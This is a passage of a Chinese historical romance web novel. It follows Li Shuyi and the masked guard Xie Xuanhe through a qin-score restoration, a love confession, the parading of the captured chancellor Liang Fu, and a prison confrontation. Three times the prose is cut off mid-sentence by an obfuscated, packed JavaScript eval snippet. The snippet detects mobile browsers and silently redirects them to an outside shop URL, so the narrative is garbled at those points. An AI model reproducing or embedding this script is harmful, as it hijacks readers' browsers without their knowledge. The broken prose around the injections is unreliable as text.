“这是什么?”黎书意好奇地凑头去看,原以为里面装着什么稀罕物件,结果发现是一本残破不堪的书册。 “这是一个文人送我父亲的琴谱。”林静仪解释。 这句话让黎书意来了兴趣,可瞧着那些分离的残片,她颇遗憾地说:“只怕不全。” “所以才来找你啊。”林静仪说完目含期待地朝她看来,“你能陪我一起复原吗?” “好啊。”她毫不迟疑地点头。 林静仪闻言笑了,然后道:“其中一首我近些日子已经花时间复原好了,这另外一首有些地方始终参不透。” 若能修复好琴谱,让其重见天日,是多么有意义的一件事,黎书意有些跃跃欲试。 “那快来吧。”说着,她拉了林静仪来到古琴面前,两个人并排坐到了一起。 将琴谱摊开放到面前的矮几上,她活动了两下手指,便虚放在古琴上面,由于前半部分是林静仪已经修复好了的,她只需要照着谱子弹即可。 自林静仪进书房以后,谢烜赫便自觉出门立在门外,门内的谈话他全都听见了。 孟章双姝以才貌双全而闻名,然而大多数时候,人们谈起两人时说的多是颜色,谢烜赫觉得她们品评诗词,弹琴奏乐时才更灵动美丽。 琴音断断续续,起先是一个音一个音,后来变成一节,旋律也从舒缓慢慢转为紧凑,犹如珠落玉盘,银瓶乍破。 他也是通晓音律之人,虽然才听了一小段,但也知道这是一首好曲,且还是一首武曲,随着几个曲调一变,琴音愈发铿锵热烈,犹如万马奔腾,慷慨激昂,荡人胸怀。 这唤醒了他体内的热血,心想站着也是无事,便抽出斩霄剑在院子里舞起剑来。 黎书意照着琴谱弹奏,令人庆幸的是中间最激昂的一段基本没有缺损,试弹过一遍后第二遍她弹得很顺手。 好的曲子很容易牵动情绪,她的手指在古琴上快速地跳跃着,林静仪也勾动琴弦与她和奏,她们一高一低,一急一缓,两股声音交织融合,宛如翻滚的浪潮。 这段奏完,遇到一处虫蛀,缺了几个音,两人遂停下来,就缺失的地方展开探讨,根据琴谱的风格和特点进行推测。 正在她挑弦试奏时,右胳膊忽然被轻轻拐了一下,接着听见林静仪打趣说:“你这侍卫恐怕城中那些勋贵子弟都不一定比得上。” 顺着她的目光,黎书意看到了在院子里舞剑的谢烜赫,他身姿飘逸,衣袂飞扬,长剑盘旋宛如银龙入海。 黎书意见状不禁唇角扬起,真是不管看多少次,还是会被吸引,想起林静仪的话,她在心里回答道:那些勋贵子弟当然比不上他,因为他可是谢烜赫啊。 少女神情专注,眼里流露出无尽的赞赏,脸上挂着骄傲的笑容,任何人看见了,都会明白她这是在看倾慕之人。 因着和太子殿下的婚事坎坷,林静仪很怕黎书意对感情失去信心,如今看到她走出来,她很开心。 只是两人地位实在悬殊,时侍卫的身份问题必须解决。 短暂的走神后,两人收回目光,继续研究琴谱,中后段有一处污渍,两人冥思苦索许久,却始终推测不出,便只能依据经验进行重创,列出好几个适合的音,最后择定了最贴近曲谱风格的那个。 后面又碰到了一块缺角,因着这一节与前面某一节旋律相同,而那一节她们早先已经复原了,不需要再费心思,照着弹就可以了。 就这样两人将琴谱复原了。 日光早就被晚霞取代,柔和的斜晖洒满院落。 黎书意想留林静仪用晚饭,被林静仪给拒绝了,见留不住人,她只能起身相送,刚送至门口,林静仪回身拦住她道:“咱们什么关系,你不必送我。” 话说到这份上,她只好留步,便站在门口目送。 林静仪带着玉绿在院中穿行,到了半途她停下脚步,转头对玉绿道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545739|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你在这里等我。” 说完,径直迈步朝着在树边舞剑的男子走去,她之所以不想让婠婠送她,实际上是因为她有话想对时侍卫说。 听见脚步声靠近,谢烜赫急忙收了招,见来人是林静仪,他客气地点头问候:“见过林大姑娘。” 林静仪端视着面前的人,男子鹤骨松姿,气质超然,虽然性子冷了些,但十分稳重可靠,尽管听说他是因为容貌被毁才戴面具,可这个人给她的印象依旧良好。 婠婠今年十六了,正值女孩子最美好的年纪,若两人打算在一起,那留给他建功立业的时间不多了。 思及此,她心里的想法愈发坚定起来,再顾不得礼数,开口找话道:“时侍卫来将军府半年多了吧?” “是。” “可曾想过上阵杀敌?”林静仪说毕,到底觉得这话实在唐突,便局促不安地观察男子的反应,见他沉默不语,于是继续道,“我听闻时侍卫在与楼宛的战争中曾经上过战场,并且还立过功。” “是,不知林大姑娘为何突然问这个?” 反问的话令林静仪难为情地红了脸,她两手捏着衣服下摆为自己加油鼓劲,心理建设做完,她终于迎上男子的目光,郑重说道:“我知道时侍卫剑气箫心,婠婠更非嫌贫爱富之辈,但她身为将军府嫡女,即便大将军足够开明,也不会轻易同意你们的,时侍卫若真的对我们婠婠有意,何不为自己挣一份功名?” 一口气说完这些话,她不安地等待着对方的回答,静默片刻,她看见面前的男子唇角微微向上扬起。 谢烜赫清楚林静仪找自己只可能是为了黎书意,听到她提战场时他差不多就明白了这位姑娘的想法。 她这是在为自己的好姐妹打算,担心一个千金小姐跟他这样的侍卫在一起会吃苦。 林静仪,入孟章以后谢烜赫时常会听见的名字,他们接触不多,对她最大的印象就是秀丽端庄,腹有诗书,心地善良,所以他对她一向是尊敬的,况且她还是黎长策倾慕之人,黎书意最要好的朋友。 少女强装镇定地看着他,想要等一个满意的答案,尽管接下来要说的话并不符合他的作风,但是他还是回答了:“我不会在这里待太久的,未来我会给她最好的。” 男子双目赤城,语气认真,听见承诺,林静仪心下顿时一松,不由露出了笑容。 正待说话,瞥见婠婠已经朝这边走过来,于是她对时侍卫点了一下头,然后便转身走了。 适才,目送林静仪走出去好一截路后,黎书意准备返回书房去,还未及转身,忽见林静仪朝谢烜赫走去了,她便没有再动,只疑惑不解地在远处观望。 因为距离隔得有点远,她不可能听见谈话的具体内容,不过她却瞧见了林静仪脸上的羞怯,所以两人背着她到底在说什么? 带着好奇心,她走了过来,到谢烜赫面前,她将目光从走远的林静仪身上转到面前的人身上,将心中的疑问问出来:“她和你说什么了?” 少女微仰着头,脸上带着几分打听他人隐私时的不好意思。 谢烜赫垂眸望着她,与林静仪的谈话让他有了表白心意的冲动,可最终还是忍住了,毕竟她连对他的情感都还不清楚,还谈何承诺呢? 咽下心中的苦涩,他随口回道:“没说什么?” 没说什么……骗鬼呢,黎书意不满地腹诽。 被搪塞了,她心中生出恼意,不再追问,转头撇下人走了,心想不告诉就不告诉呗。 81. 挑明 午后,谢烜赫忙完事情从外面回来,进书房时见黎书意正在看书,少女坐姿端正,垂眸盯着书本上的文字,偶尔停下来,拿起笔对照着书本抄录,一副心无旁骛的样子。 看着看着,他的心情像是空荡的庭院,风吹过,卷起落叶纤尘,只剩下无边的寂寥,在书房待了一刻钟,他最终转身离开了。 屋外空气潮湿清冷,阳光大半遮盖在云层雾幔里,洒下浅淡的金光,院子里花木摇落,只留下光秃秃的枝条,孤零零地站着,没有一点活气。 他漫无目的地在院子里走着,走到池边他停下脚步,湖面平静无波,显得死气沉沉,恰如他此刻的心境。 第三天了,黎书意的表现像是那事完全没有发生过一样,一整日她不是在看书就是在玩乐,既没有困扰,也没有生气。 谢烜赫感到强烈的不安,在一起生活将近八九个月了,他明显能察觉出黎书意对他情感的变化,他问自己,是不是太过着急,或许他估计错了,她就算不讨厌他,也断不会对他生出男女之情。 身为昭王世子,谢烜赫人生前十七年要风得风,要雨得雨,论出身,他是王公贵戚,论才学,他通读四书五经,弓马娴熟。 可唯有一样东西,他从来就没有把握,那便是黎书意的心。 竟是连近水楼台也还是不行吗…… 将这一类目的内容看完,黎书意放下笔,暂时从书本中抽离,想小小地休息一会。 这一抬头,才发现屋里压根没有人,她刚才明明感觉到谢烜赫进屋了的,是何时又走的? 垂眸扫一眼面前的书,她心中气馁不已,如今这书都被她啃了小半本,可那人却是一点行动都没有。 莫不是那晚亲她额头当真只是氛围所致,并没有任何旖旎的心思,所以她不提及,他便想当作无事发生。 想到这个可能,黎书意心里生出一股失落,如果这猜测是对的,那她这几日岂不是在唱独角戏了。 她要不要主动提起呢……是说出来让彼此陷入尴尬,破坏好不容易好转的关系,还是让那个错误就此掩埋在时光里。 她皱眉思忖,心里的那杆秤隐约向第一个选择倾斜,她又不是一个榆木脑袋,经过这三天,她已经看清了自己对谢烜赫的感情不再纯粹了。 良久,她做出了决定,选了一个稳妥的方式,打算先试探试探。 刚打算好,消失已久的身影正巧落入视野,原来谢烜赫人在池边,只见他面对池塘而站,身体静止不动,头微微低垂着,似乎是在沉思。 在想什么呢?黎书意心中有些在意,起身离开桌案,她出门往池边走去。 到了池边,发现谢烜赫的姿势还和刚才一样,她越发好奇了,眼睛一转,起了捉弄的心思,于是便放缓步子,放低声音,悄悄靠近。 终于,她走到了他背后,无声地窃笑完,她抬起手准备吓一下这位岿然不动的沉思者。 哪知手还没有碰到谢烜赫脊背,他突然转过身来,她受了惊吓,身形一个没站稳,眼看着就要往旁边倒下去。 旁边可是池塘,冬天还未彻底过去,这一摔不仅会变成落汤鸡,恐怕还得感染风寒,她悲催地想。 就在这时,一只手有力地搂住了她的腰,她落入谢烜赫的怀抱,身体撞上一堵结实的肉墙。 心有余悸地眨了眨眼,她抬手轻拍了下谢烜赫的胸口,张口抱怨道:“你是还想像小时候一样,让我变成落汤鸡,是不是?” “不会的。” “哼!”她不满地轻哼,想再斥责两句,一抬头,对上谢烜赫深邃的眼睛,这一看,却发现他眉眼里流露出淡淡的伤感,她见状先是一愣,旋即担忧地问,“你怎么了?” 谢烜赫刚才沉溺在自己的情绪里面,根本没发觉有人靠近,直到看见湖边映照的身影,才知道黎书意来了,于是他急忙转身,没成想却惊到了她。 眼前是少女气鼓鼓的脸,耳边是少女的嗔怪,他看着听着,心思不由回转到被打断的心事上面。 他并非一个胆小的人,先前因为有谢煜然横亘在中间,所以他只能隐忍着不开口。 现在这个阻碍已经没了,他还有什么好担忧的,若是被拒绝,再接再厉就好,他不信他有那么糟糕。 这般想着,扶着少女肩上的手力道加重了一分,他定定注视着少女气恼的面容,一字一顿道:“那一晚,我是故意的。” 嗯?故意的!黎书意闻言怔住,她望向面前的少年,见少年正一瞬不瞬地盯着她,看她的眼神认真而炙热,她被盯得心慌意乱,于是急忙垂下视线。 所以,她的猜测是对的,谢烜赫当真对她有意!胸膛中翻起惊涛骇浪,澎湃不止。 “你打算如何?” 尚在震惊之中,听见了这话,她不禁又抬起头与谢烜赫对视。 少年面容沉肃,嘴唇紧抿,黑眸深深地凝视着她,眉宇间萦绕着浅淡的哀伤与不安。 是因为她吗?黎书意问自己,同时心里生出愧疚来,可她也是因为心里不敢确定,所以才没有贸然行动。 发现视线还钉在自己脸上,她的自责感不由更深了,想着安慰两句,便说道:“对不起,这对我来说实在太意外了。” 言未尽,见谢烜赫眼里的神采消失,她慌了,思绪有些混乱,不知道该如何应对。 少女两眉愁锁,一副苦恼的表情,果然不讨厌,但是也不喜欢,希望“啪”一声破灭了,谢烜赫的心一点点下坠。 看见少年的神情像熄灭的烛火一样黯淡下去,黎书意心里越发慌了,努力寻找着合适的措辞,最后脱口来了一句:“我的意思是你能给我时间考虑一下吗?” 谢烜赫的心坠到一半,听见这话他惊喜地抬眼,然后郑重地说:“好,我可以等,多久都行。” 少年目光热烈,眼中闪烁着深情的光芒,黎书意本就加快的心跳此时越发失控了,她敛目低头,不好意思地轻嗯一声。 话音刚落,腰上的手施加了力道,她彻底被纳入到宽大温暖的怀抱之中,清新冷冽的香味萦绕鼻间,她被紧紧地箍着,仿佛是要将她融入骨血,这种珍视令她有点纳闷,让她产生了谢烜赫很爱她的错觉。 “哐当!”一道突兀的响声打破了暧昧的氛围。 黎书意移目朝声源望去,然后便看见了站在不远处状若痴呆的兰亭。 只见她眼睛瞪大,嘴巴张开,两手还维持着端东西的动作,脚边是托盘和碎裂的茶盏。 “我什么都没看见。”发现二姑娘和世子齐齐望过来,兰亭连地上的残局都没收拾,说完逃也似地离开了。 “噗嗤!”小丫头逃遁的样子逗笑了黎书意。 将视线从跑远了的身影收回,她正准备同谢烜赫说话,这才恍然意识到自己此时和谢烜赫的姿势是多么亲密。 光天化日之下,男未婚女未嫁,却搂抱在一起,难怪兰亭要跑了,手比脑子快,她慌忙推了面前的人一下,然后挣脱开怀抱,也跟着跑了。 忽然被推,谢烜赫踉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545740|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跄着后退了半步,尽管怀里的人已经走远了,可他的手却舍不得放下,似乎是软香仍在怀,他盯着空空地两手,发出愉悦的轻笑。 …… 光线透进窗户,屋内被映照得灿烂,黎书意沐浴在初晨的暖阳里,手杵在几案上看书,面前这一页她已经看了许久,却是什么都没看进去,最终便只好将书合上。 昨夜,谢烜赫告诉她说,后日押送梁甫及其党羽的队伍即将抵达孟章,心里头惦记着这事,她根本无心做其他的事。 想到那日官道两边定然会被围得水泄不通,周围的客栈、酒肆也将人满为患,便唤兰亭道:“兰亭,你让毕定边去十里楼定一个雅间,要最好的位置。” 押送队伍入城当日,黎书意卯时便起床了。 用过午膳,她和谢烜赫就出门了,同行的还有兰亭、毕定边和富春姑姑,大家都忍不住想凑这个热闹。 马车在路上缓缓行进着,车厢外人喊马嘶,嘈杂非常。 当车子在十里楼停下,下车后的情形果如黎书意所料,只见街道两旁挤满了人,如雨骈集,甚至堪比父亲凯旋而归时的盛况。 当然,与之不同的是,梁甫不可能收到鲜花和掌声,迎接他的只有唾沫星子和无尽的谩骂,收回视线,她扶着谢烜赫的手臂踏下马车。 走进十里楼,发现大堂已经满座,甚至还有不少站着的客人,或许是身边跟着的人有些多,她一出现便引起了众人的注意。 “这女子是谁?” “我知道,旁边那位妇人是将军府的管事。” “所以,这位便是大将军的千金,黎二姑娘了。” “难怪如此气派。” “说起来,梁家能倒台,还有她一份力呢。” “是啊是啊,不愧是黎将军之女。” …… 大家议论纷纷,黎书意在他们的注视下继续往前走,他们的谈话让她忍不住弯了唇角。 走到半路,店小二笑迎上来,带着他们去了预订好的雅间。 雅间临街,窗外便是官道,七嘴八舌的议论如轻烟漂浮上来。 黎书意靠窗坐下,然后脱下了头上帷帽,放眼朝外看,大半条街的景致被收入眼底,百姓们在街头交头接耳,不时引颈而望。 她顺着他们的目光扫过去,此时的城门口还空空如也,估计还要再等一会,好在她耐心很足。 视线一点点回移,她漫无目的地在对街随意扫看起来,这一扫惊喜还真不少,给她发现了不少熟面孔,他们多是清闲富贵的王公侯爵和世族勋贵。 尤其在斜对面,换上了便装的谢煜然赫然就立在窗边,他的身后站着齐君屹。 恰在这时,她与谢煜然的目光意外对上了,装作看不见显然是行不通的,她只好略一点头,以示问候。 谢煜然瞧见了,随之露出一个浅笑。 招呼一打完,黎书意便收了视线,像如今这样的距离和这样的交往是最适合他们的,桥归桥,路归路,见着了便问候一句,就过去了。 这么想着,她将注意力放回到雅间里,正准备抬杯子喝茶,冷不丁发现了一道灼人的视线,斜对面站立的谢烜赫正在看她,深邃的黑眸里写着不满。 她见状有些心虚,从前只当这人是不满她处理与谢煜然关系的方式,现在看来可能还有吃醋的缘故,尤其前两日她才答应了要考虑他的心意。 黎书意缓缓移开视线,无所事事地开始喝茶吃点心,静待着梁甫的囚车到来。 82. 染发 喝了一会茶,外头的喧闹声突然暴涨,紧接着听见有人激动地大喊道:“来啦来啦!” 这句话牵动了所有人的情绪,无论是大街上的路人,还是店铺里的客人,大家目光一致,齐齐望向城门口。 只见空荡的门洞里出现一列人马,为首之人身穿盔甲,昂首挺胸高坐在马上,虽然隔得远,面容看不真切,但黎书意知道应该是庞安澈。 队伍缓慢移动间,更多的将士进入民众的视野,不知是因为道路太过拥挤,还是为了满足民愿,这段路他们走得很慢很慢。 行了足有一柱香的工夫,庞安澈骑在坐骑上的身影终于来到了十里楼跟前。 黎书意伸头去瞧,尽管还瞧不见梁甫的身影,但是也能看见前头的百姓在扔菜叶了,也能听见他们的怒骂声。 又候了好一会,铁笼子终于映入眼帘,因着前面的那一路,此时笼子里的人早就被好好招呼过了,那粗硕的铁条上满是烂菜叶和鸡蛋壳。 定睛往铁笼子里的中年老人身上看去,黎书意不由呆住了,她几乎要认不出里面的人。 那张微胖的脸上布满了污垢和鸡蛋液,头发蓬乱如枯草,身上的衣服脏破到看不出原样,眼前的人哪里像权倾朝野的宰相,分明就是一个乞丐。 只是,哪怕他境况再糟糕,黎书意也很难生出一丝一毫的悲悯之心来,这一切都是他咎由自取的,他所受之苦不及被他残害的忠臣们,和欺压的百姓们身上之万一。 思及此,她的目光不由转到了近边的谢烜赫身上,有些关心他的反应,只见他肃然而立,银白色面具背后的那双凤眼冰冷如刀,似乎要将梁甫千刀万剐。 押送队伍继续行进,梁甫从他们眼前缓缓而过,期间他一直被两道的百姓“贴心问候”着。 慢慢地,囚车远去了,最后望一眼宛如长龙的队伍,黎书意站起身,戴上帷帽之后,她领着随行侍从离开了雅间。 到了一楼,发现大堂里的客人不见了一大半,不少人正起身往外跑,显然是在追赶卫队。 避让开蜂出泉流的看客,黎书意等门口无人了才跨步走出酒楼,站在廊下,她侧头望着街上如潮涌动的人群,并没有继续凑热闹。 一群五六岁的孩童落在后面,他们一边追赶,一边唱着童谣:“奸相梁甫罪昭彰,朝堂乱纲臭名扬。侵田刮膏民流离,禁药歪风满楼兴。私吞矿山铸兵甲,谋反之心昭若明。构陷忠良家破亡……” 后面大堂里,有人重复了一遍童谣内容,最后感慨道:“每一笔都是血债啊!” “还有昭王的死呢!”一人搭话。 黎书意闻言嘴角轻轻勾起,经过《陈冤录》的引导,以及祈安阁在暗中操控舆论,这段时日民众的注意力已经成功引到了是梁甫污蔑昭王,才致使王府满门被屠。 得到满意的结果,她不再逗留,踏上马车,启程回家去了。 …… 次日,黎书意窝在书房继续看书,终于将前些日子买来的《集贤诗集》读完了,她满足地合上书本,抬头在房里房外扫看,并未瞧见谢烜赫的身影。 想起日前在街上听到的议论,如今关于昭王是被污蔑的舆论已经甚嚣尘上,时机眼看着就要成熟,她想与他交流一下翻案的事,却见人不在,便自个儿去了后院。 因着后院是仆从们所居院落,所以白天十分安静,走近了一看,发现谢烜赫的房门是闭着的。 通常,他出门前都会事先告知自己,今日没听说他有事要办,带着几分侥幸,她敲了敲门。 “谁?”房里传出的声音有些闷。 居然在?她赶紧回道:“我。” “进来吧。” 听见这话,她便伸手推开了门。 或许是当初考虑到谢烜赫的身份,为了安全隐蔽,兄长将他的住所安排在角落里,即使是白天,室内也有些昏暗。 她游目四顾,却并未瞧见谢烜赫的身影,刚打算开口问,见人从屏风后头走了出来。 他今日穿了一身玄青色锦袍,那头深棕色的头发垂落而下,直齐腰身,柔亮飘逸似上好的丝绸,屋外阳光透过窗棂洒落在他半边身上,那如画眉目一半沐浴在光里,一半藏匿在阴影中,带了几分朦胧与神秘。 不经意撞见这副场面,黎书意的心狠狠一跳,此刻的谢烜赫仿佛一只居于暗处诱人深入的鬼魅。 半晌她回过神来,惊觉自己注视了许久,不由红了脸,兀自解释了一句:“我不知道你要沐浴。” “不是沐浴,是染发。”谢烜赫含笑看她。 染发?听见这话,黎书意的羞赧消散了七八分,一股强烈的好奇心升了上来,默了片刻,她跃跃欲试地提出请求:“不如我来帮你?” 帮他,谢烜赫诧异地将眉头一挑,不过他很快便点头同意了,因为没道理拒绝。 于是乎,他反身重新往屏风后头走去。 黎书意跟在后面。 这屏风隔开的浴房并不大,里侧摆着浴桶,浴桶一边放着衣架,另一边放着一张小巧的木榻,木榻前方置一张小几和一个小凳,小几上摆着一个木盆,木盆上热气腾腾,里面的水呈红棕色。 她走近小几凑头看了两眼,抬头问身边的人:“这便是你从前所说的染发药粉?” “嗯。”谢烜赫点头。 染发什么的黎书意虽然没有做过,但想来是没什么难度的,瞅了瞅四周,她让谢烜赫躺在榻上,自己则坐到了旁边的小凳子上。 待人躺好了,她将那一头浓密的长发用手轻轻拢到一起,然后用木梳细心梳理好,最后才将三千发丝一点点浸入到温水中。 头发在水中慢慢散开,像是漂浮在湖里的水藻,盆里氤氲的热气不断向上游动,药粉清雅甘香的气味钻入她的鼻中。 学着兰亭为自己洗头时所用的手法,她轻柔地在谢烜赫头皮上按摩,用指腹轻轻打着圈,同时贴心询问:“力道如何?” “很好。”谢烜赫出声应道,实际上是非常舒服,他几乎要昏昏欲睡了,可是又舍不得睡过去,那样可就记不得感受了。 谢烜赫的发质很好,柔软、顺滑、浓密,就像是在玩头绳一样,黎书意用手指搅绕着。 洗着洗着,她的心思划到了别处,身体发肤受之父母,如果不是情势所逼,这人又何必如此每月折腾自己的头发呢。 浸泡了足有一刻钟,黎书意终于将头发捞起,像是扭麻花一样,她将水拧出,接着又拿过干布巾将头发裹住,“可以了。” 谢烜赫闻声从榻上直起身子,他转头看向少女,见她神情愉悦,心不由又柔软了几分,她的快乐可真简单,这都能让她开心。 “我来吧。”他伸出手,想接过布巾。 奈何手才刚伸上去,便被推了下来,少女振振有词道:“说好了让我来的。” 既如此,他只好继续满足。 黎书意细心地替谢烜赫绞发,绞到一半方才想起自己来这里的目的,于是便问道:“对了,你打算何时动手?” “明天,我想先去天牢看看。” “去天牢?”黎书意闻言一惊,手上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545741|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作顿住,担忧道,“那里守卫森严,你如何能进去?” 谢烜赫解释:“我父王于狱中一小吏有救命之恩,明日我会伪装他的身份混入。” 闻言,黎书意的顾虑打消,手上动作继续。 此时,谢烜赫的头发已经绞到半干,那干了的部分呈现出像缎带一样的莹润光泽。 擦着擦着,她来到谢烜赫身前,忽然手上动作又顿住,刚才她一心扑在体验染发的新奇感上,此刻终于反应过来自己刚刚与他做了多么暧昧的事。 静默片息,她不好意思地轻咳一声,接着把布巾递给谢烜赫道:“事情已经了解完了,剩下的你自己来吧。” 看着手上的布巾,以及转身离开的背影,谢烜赫有一瞬的愣然,无奈地轻笑一声,然后他自己动擦头发。 …… 天牢。 脸上火辣辣,头几乎要炸开,四肢百骸似有千万只小虫在啃咬,梁甫在剧痛中醒来。 四周暗无天日,空气阴冷潮湿,他睁着浑浊的双眼扫视面前这一小方天地,下一刻,兀然惨笑出声,叹自己怎么就落到这般境地了。 回想几个月之前,他还是权倾朝野的丞相,现在却成为人可践踏的阶下囚。 菜叶和鸡蛋砸在脸上很疼,鞭子抽在身上很疼,从升卿到孟章的这一路,他身上没有哪天不添新伤。 “咕噜~”肚子冷不丁发出叫声,在这个不比墓地有多少生气的地方显得格外清晰,他舔了舔嘴唇,此刻他不止饿,还很渴。 身上传来一股难耐的痒意,从后腰蔓延到后背,大约是跳蚤在作祟,他动手想搔痒,奈何手还没够到,耳边响起了丁玲当啷的声音。 他低头一看,终于想起自己手上绑有厚重的锁链,他又一次笑了,为了防止他自杀,他们甚至动用铁链锁住了手脚。 最终,他垂下手放弃搔痒,就像放弃生的希望一样。 就在这时,牢门外一串脚步声徐徐靠近,申时到了,这是来为他送晚饭的。 说是饭菜,实际上根本是猪狗都不食的东西,令人难以下咽,然而由不得他,他们会撬开他的嘴,把饭菜强硬地灌进他喉咙里。 门打开了,他双眼无力地上抬,看着狱卒一步一步走到他面前。 “张嘴。”饭碗直磕到嘴上。 他没有听话,双唇始终紧紧闭着。 “唰!”筷子伸了过来,像之前无数次那样,他的嘴被重重撬开了,粘稠的馊饭跟着倒了进来,恶心的味道顿时令他呕了出来。 “不吃?”狱卒见状轻嗤一声,“也是,这东西从前喂你家的狗都不会吃的。” 类似的羞辱近来听得太多,他早就麻木了,只是这说话的声音澄澈干净,与这张普通的脸极不相称,多少引起了他的注意。 到底是一个看碟下菜的狱卒而已,他没心思多关注。 见他不吃,狱卒不再强迫,把碗搁到了地上,然后静静地看着他,那目光锐利得如同一把凌迟的刀,让他陡然生出一股寒意来。 在朝堂沉浮二十几载,即便如今虎落平阳,他的眼力却依旧在,蠕动着两片干裂的嘴唇,他问道:“你是谁?” 那人并未回答,露出一个意味不明的笑容,旋即在他的注视下抬起右手伸到了下颌处。 然后,他就这么眼睁睁地看着假面被扯下,来人原本的容颜在面前一点点呈现。 轮廓分明,剑眉秀目,鼻梁高挺,这张脸是那么的熟悉,“咯噔”一下,他身躯一震,接着张口愣愣道:“竟然是你……你没死!” 83. 喜悲 “是的,我没死。”谢烜赫平静地回答道。 面前的人衣衫褴褛,上面布满了干涸的血迹与斑驳的污渍,头发蓬乱如野草,两眼深陷,双颊浮肿,几乎没有一个人样。 谢烜赫并非残暴之人,此刻见到仇人落到这副下场,只觉得分外解气。 梁甫不动声色地望着少年,见少年漆黑的眼眸中闪烁着冰冷锐利的亮光,面上带着一种计谋得逞的意气风发,这神情从前时常出现在他脸上,每次成功算计到政敌时,便会不自觉流露出来。 愣了半晌,他恍然大悟,于是高呼出声:“这一切都是你?” “是我。”谢烜赫说着走上前一步,然后继续道,“从社郡李振益被撤职查办,到客郡兵器作坊被发现,这一切都是我做的。” “难怪……”梁甫的呼吸顿时急促起来,被关押的日子里他想了许多,总觉得这一切发生得太巧合了,他原以为是老天爷在惩罚他,却不想竟真有一双手在幕后操纵,还是面前这个小娃娃。 确定了对手,他飞速思考起来,忽然眸光一闪,明白了理由,于是问出了声:“你是为了给你的父母报仇?” “是,为了我父母,还有昭王府两百多条枉死的人命。” 梁甫闻言笑了,他这辈子恶行昭著,被挫骨扬灰也是情有可原的,然而将这一桩事全数算在他身上却委实冤枉。 看着少年布满戾气的脸,以及恨意满溢的双目,又想到自己最近所受之苦,他目光一闪,心念骤动,暗想道:即便是我死了,可你们谁也别想好过。 况且他并非撒谎,他说的可是真相,一想到自己接下来要说的话能让这个毁了他多年心血的初生牛犊痛苦,他的嘴角不禁浮起一抹耐人寻味的笑意。 谢烜赫怒视着梁甫,乍然听见他发出嗤笑,不由怒意更甚,他压抑着情绪问:“你笑什么?” 梁甫淡淡道:“我确实讨厌谢嘉行,他三番五次扰乱我的计划,可他到底是王爷,又远离朝廷,我犯不着要他的命。” “你什么意思?”谢烜赫眼底的情绪剧烈地一颤。 “我什么意思你不知道吗?”梁甫暧昧不明地反问。 谢烜赫感觉有一口气堵在胸腔,几乎要令他窒息而亡,这话背后的意思再明显不过了,彻骨的寒意从脚底窜升,原来要他们命的是那个人。 …… 天色灰白一片,阳光偶尔穿透云层,在大地投射出稀薄黯淡的光线,平王府梅园内寒梅竞相开放,梅枝上点点红色,花瓣层层叠叠,婀娜多姿。 身着锦衣绣袄的贵女夫人们或是游走园中,或是安坐厅内,处处欢声笑语,热闹至极。 昨日,黎书意收到平王府送来的帖子,帖上平王妃说府中梅园内梅花盛开,想宴请各家夫人与小姐们一同赏花。 作为女子,且是一名闺阁女子,在西景能自由走动的地方实在不多,因此消息相对闭塞,若是想要知道城里的新鲜事,其中一个重要的途经便是依靠交际,所以她决定应邀。 由于许久未曾参与宴会,她一出现便成了焦点,这个问候她的健康,那个问候她的感情,她含笑一一应付着。 寒暄的话说完,大家坐在暖阁里聊开了,贵妇人们聊天,口中的话题总是绕不开那几个,不是说丈夫和儿子的仕途,就是说女儿家的归宿,亦或者是一些勋贵圈子里的秘闻八卦。 黎书意向来不爱听这些事,听一两次还算得上是新奇,听百八十遍剩下的便只有厌烦,尤其她如今正在该说亲的年龄上。 于是乎,一盏茶还未喝完,她与林静仪就成了诸位夫人们议论的对象,只听见唐婉娇的母亲常氏看着她道:“再过几个月你就十七了,也该考虑了。” “是啊是啊……”文安候夫人附和。 这个劝她别太挑剔,那个上赶着替她介绍好人家,她听不下去,又不好发作,便耐着性子搪塞道:“母亲前岁才过世,如今父兄又征战在外,我现在还不想考虑。” 林静仪性格沉静,若非是大事,她通常选择忍耐,尽管贵妇人们对她的围攻比之自己更加猛烈,她却好声好气地应付着。 然而姜伯母却是一个直性子,见女儿被围攻,便替女儿说话:“这人啊可得好好挑,若是遇上一个不思进取的,成日就知道花天酒地,姬妾一个个往家里抬,那还不如让她一个人呢!” 这话显然是在讽刺常氏,近段时间黎书意听说唐婉娇的夫君德安候世子谢跃云先后纳了两房妾。 话题进行不下去,关键时刻平王妃轻咳一声,打圆场新引了一个话题道:“自前日梁甫被押送回孟章,整个都城都被这事儿搅得不得安宁,大街小巷都在议论,朝廷上下更是忙得焦头烂额,连一向不理朝政的王爷都被牵连得忙碌不堪。” 